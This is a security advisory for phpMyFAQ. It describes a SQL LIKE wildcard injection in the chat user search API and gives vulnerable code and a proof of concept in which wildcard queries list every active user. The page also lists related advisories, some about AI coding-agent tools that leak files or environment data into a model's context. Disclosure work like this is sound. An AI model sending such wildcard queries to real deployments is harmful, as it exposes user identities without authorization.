Résumé
phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration
Détails de l’avis
Summary
An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape % and _, which remain active LIKE wildcards.
Details
The vulnerable endpoint is:
GET /api/chat/users?q=...
Source:
// phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php
$query = trim($request->query->get('q', ''));
if (mb_strlen($query) < 2) {
return $this->json([
'success' => true,
'users' => [],
], Response::HTTP_OK);
}
$chat = new Chat($this->configuration);
$users = $chat->searchUsers($query, $this->currentUser->getUserId());
Sink:
// phpmyfaq/src/phpMyFAQ/Chat.php
$escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm));
$query = sprintf(
"SELECT u.user_id, ud.display_name
FROM %sfaquser u
LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id
WHERE u.user_id != %d
AND u.user_id > 0
AND LOWER(ud.display_name) LIKE '%%%s%%'
AND u.account_status = 'active'
LIMIT %d",
Database::getTablePrefix(),
Database::getTablePrefix(),
$excludeUserId,
$escapedTerm,
$limit,
);
escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and _ are interpreted by the database as wildcards.
The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.
PoC:
Tested against:
phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae
Prerequisite: attacker has any valid authenticated user account.
- Ensure there are multiple active users in the database, for example:
userId=2 displayName="Alice Finance"
userId=3 displayName="Bob Support"
userId=4 displayName="Carol Engineering"
- Send a normal query that should not match any user:
GET /api/chat/users?q=zz HTTP/1.1
Host: target
Cookie: [authenticated session]
Observed response:
{
"success": true,
"users": []
}
- Send a wildcard query:
GET /api/chat/users?q=%25%25 HTTP/1.1
Host: target
Cookie: [authenticated session]
Observed response:
{
"success": true,
"users": [
{
"userId": 2,
"displayName": "Alice Finance"
},
{
"userId": 3,
"displayName": "Bob Support"
},
{
"userId": 4,
"displayName": "Carol Engineering"
}
]
}
The same issue is reproducible with _ wildcards:
GET /api/chat/users?q=__ HTTP/1.1
Host: target
Cookie: [authenticated session]
Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while q=%% and q=__ returned active users.
Impact
This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.
Video PoC:
https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f
Références
Vulnérabilités liées
Tout Supply chain →- HIGHCVE-2026-55072
Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name
- MEDIUMCVE-2026-54254
Pixeldrain API key shared with unverified thirdparty sites
- CRITICALSC-MOVEIT-CLOP-2023
Starting 27 May 2023, the Clop extortion gang mass-exploited a SQL-injection zero-day, CVE-2023-34362, in Progress MOVEit Transfer, a managed file-transfer product that organizations use to move sensitive files. Before any patch existed, Clop hit internet-facing MOVEit servers across the world, planting a web shell called LEMURLOOT and stealing the contents of the underlying databases. There was no encryption and no ransomware downtime: Clop simply exfiltrated data and extorted victims by threatening to publish it on its leak site. Because MOVEit sits at the data's edge and is used by vendors of vendors, a single product flaw cascaded to about 2,770 organizations and roughly 95 million people, including governments, banks, and household-name companies. Progress patched on 31 May 2023, after exploitation was already widespread. It is the lesson that managed file-transfer and other internet-facing data apps are prime mass-exploitation targets.
- HIGHCVE-2026-75912
CodeWhale: Argument Injection in `git_blame` Tool Allows Arbitrary File Read Without Approval
- HIGHCVE-2026-75915
CodeWhale: js_execution leaks parent environment to model context via missing env scrub
- HIGHCVE-2026-75859
CodeWhale: Project config `instructions` override enables arbitrary file read into AI system prompt via cloned repository